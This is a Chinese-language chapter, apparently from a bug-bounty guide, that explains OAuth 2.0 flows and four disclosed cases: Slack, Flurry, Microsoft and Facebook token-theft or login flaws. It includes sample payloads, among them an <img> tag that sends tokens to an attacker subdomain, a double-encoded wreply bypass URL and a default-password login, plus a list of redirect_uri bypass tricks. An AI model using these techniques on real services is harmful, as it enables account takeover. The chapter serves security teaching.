OAuth 是一個開放協定,標準化了 Web、行動與桌面應用上的安全授權,讓使用者不必輸入帳密就能在第三方網站登入——常見於「Sign in with Google/Facebook/LinkedIn」等按鈕。

Figure 17-1: OAuth Sign in with Google 按鈕範例

OAuth 漏洞屬於設定/實作錯誤而非協定本身缺陷。但因為開發者很常實作錯,且一旦出事就能直接拿到使用者授權 Token,影響極大——值得單獨成章。

OAuth 有 1.0a 與 2.0 兩個版本,彼此不相容。本章聚焦 OAuth 2.0 與基本流程。

OAuth 流程基礎#

三個角色#

  • Resource Owner:嘗試登入的使用者(你)
  • Resource Server:第三方 API 提供認證;常見有 Facebook、Google、LinkedIn
  • Client:使用者拜訪的第三方應用,向 Resource Server 取得 Resource Owner 的資料

Scope(授權範圍)#

Client 向 Resource Server 索取資料的「權限」。例如 Facebook 的 emailpublic_profileuser_friends 各代表能讀的不同資料。只開 email 就拿不到朋友清單

標準流程(以 Facebook 為例)#

  1. 使用者點 Client 的「Login with Facebook」按鈕
  2. Client 回 302 導向 Facebook OAuth 端點,URL 帶以下參數:
    • client_id:Resource Server 上 Client 的識別碼
    • redirect_uri:認證完後 Resource Server 把使用者送回的位址
    • response_typetoken(直接給 access token)或 code(給授權碼,需另外換 token)
    • scope:要求的權限
    • state防 CSRF 的不可猜測值(建議務必實作)
  3. Facebook 顯示授權對話框,使用者同意(如 Figure 17-2)
  4. Facebook 302 回 redirect_uri,附 access_tokenstate
  5. 之後 Client 用 token 直接呼叫 Facebook API

response_type=code,Client 還需用 code + client_id + client_secret 向 Resource Server 兌換 access_token——這一步只在伺服器之間進行,使用者瀏覽器看不到。

URL 範例#

https://www.facebook.com/v2.0/dialog/oauth?client_id=123&redirect_uri=https%3A%2F%2Fwww.example.com%2Foauth%2Fcallback&response_type=token&scope=email&state=XYZ

Figure 17-2: Quora 透過 Facebook OAuth 登入時請求授權的 scope

案例 1:Stealing Slack OAuth Tokens#

漏洞描述#

研究者 Prakhar Prasad 發現 Slack 對 redirect_uri 只比對開頭:合法白名單為 https://www.example.com,攻擊者送 redirect_uri=https://www.example.com.mx 也通過。攻擊者註冊 www.example.com.attacker.com 之類的子網域,誘使受害者拜訪:

<img
  src="https://slack.com/oauth/authorize?response_type=token&client_id=APP_ID&redirect_uri=https://www.example.com.attacker.com"
/>

<img> 自動觸發 GET,Slack 回傳的 token 直接到攻擊者手上。

Takeaways#

redirect_uri 的不嚴謹比對是 OAuth 的最大宗錯誤模式:

  • 只比對開頭 → 末尾可任意延長
  • *.example.com 放白名單 → 子網域接管立刻接管帳號
  • 只比對結尾 → 前段可加 evil.com#evil.com?

案例 2:Passing Authentication with Default Passwords#

漏洞描述#

研究者 Jack Cable 在 Flurry(Yahoo 旗下分析平台)走完 Yahoo OAuth 流程後,發現 Flurry 後台的最後一步 POST 是:

{
  "data": {
    "type": "account",
    "id": "...",
    "attributes": {
      "email": "...@yahoo.com",
      "companyName": "1234",
      "firstname": "jack",
      "lastname": "cable",
      "password": "not-provided"
    }
  }
}

"password":"not-provided" 暗示 Flurry 為 OAuth 註冊的使用者設了固定預設密碼。Cable 登出後直接用 Email + not-provided 登入——成功。Yahoo 五小時內修補。

Takeaways#

凡是「OAuth 流程之外的自訂 HTTP 請求」都值得測試——通常是開發者額外硬接的步驟,常埋著如此粗糙的瑕疵。

案例 3:Stealing Microsoft Login Tokens#

漏洞描述#

Microsoft 用類似但不完全相同的 OAuth。outlook.office.com 流程靠 wreply 參數指定回呼網址。研究者 Jack Whitton:

  • wreply=https://attacker.com → 直接拒絕
  • 雙重編碼 %252fhttps://outlook.office.com%2f 解碼錯誤被擋
  • @example.comhttps://outlook.office.com%2f@example.com通過

關鍵在 URL 結構 scheme://[username:password@]host[:port]/path

  • 第一次驗證時,outlook.office.com%2f 被當成 username,host 是 example.com——但 Microsoft 的「合法檢查」看到 outlook.office.com 字串就放行
  • 接著做遞迴解碼%252f%2f/——outlook.office.com/@example.com@example.com 變成路徑而非主機,host 看起來是 outlook.office.com通過白名單檢查
  • 最後實際導向時用的是只解碼一次的版本——導向 example.com

受害者拜訪以下 URL 即把 token 送到 example.com

https://login.microsoftonline.com/login.srf?wa=wsignin1.0&rpsnv=4&wreply=https%3a%2f%2foutlook.office.com%252f@example.com&id=260563

Takeaways#

測 redirect 時的標準變化:

  • @example.com
  • 雙重編碼字元
  • 單/雙斜線、#? 等切斷字元

注意微妙的錯誤訊息差異——它們暗示伺服器的解析邏輯。

案例 4:Swiping Facebook Official Access Tokens#

漏洞描述#

研究者 Philippe Harewood 找不到 Facebook OAuth 本身的瑕疵,於是換思路——找尋被遺忘的官方應用。Facebook 主功能用了一些自家應用,這些應用對所有使用者預先授權(不再彈出對話框)。在 https://www.facebook.com/search/me/apps-used/ 列出可看到清單。

他逐一檢查發現:有一個應用的 redirect_uri 白名單網域 Facebook 已不再持有。Harewood 註冊了該網域,再以下列 URL 引導受害者:

https://facebook.com/v2.5/dialog/oauth?response_type=token&display=popup&client_id=APP_ID&redirect_uri=REDIRECT_URI/

由於該應用已預先被所有人授權,整個 OAuth 流程在背景跑——受害者拜訪後,Facebook 就把 access token 送到 Harewood 的網域。更糟的是這是官方 Token,能取得所有 scope,甚至能存取 Instagram 等同集團服務。

Takeaways#

找漏洞時思考被遺忘的資產

  • 過期的 OAuth client 白名單
  • 子網域 CNAME 殘留
  • 廢棄的 NPM/Ruby Gem 依賴

帶著明確目標(「我要拿 Facebook token」)開挖,能讓你在大型目標前不被淹沒。

章末總結#

  • OAuth 標準雖完整,但實作錯誤的窗口很多——redirect_uri 驗證不嚴是經典錯誤
  • 找漏洞重點:
    • redirect_uri 的開頭/結尾比對、子網域、@host 注入
    • 雙重編碼解析
    • 自訂的 OAuth 後續步驟(如 Flurry 的 default password)
    • 遺忘的官方應用/網域
  • 建議務必實作的安全細節:state 參數、嚴格的完整 URI 白名單、不要把 secret 放進 URL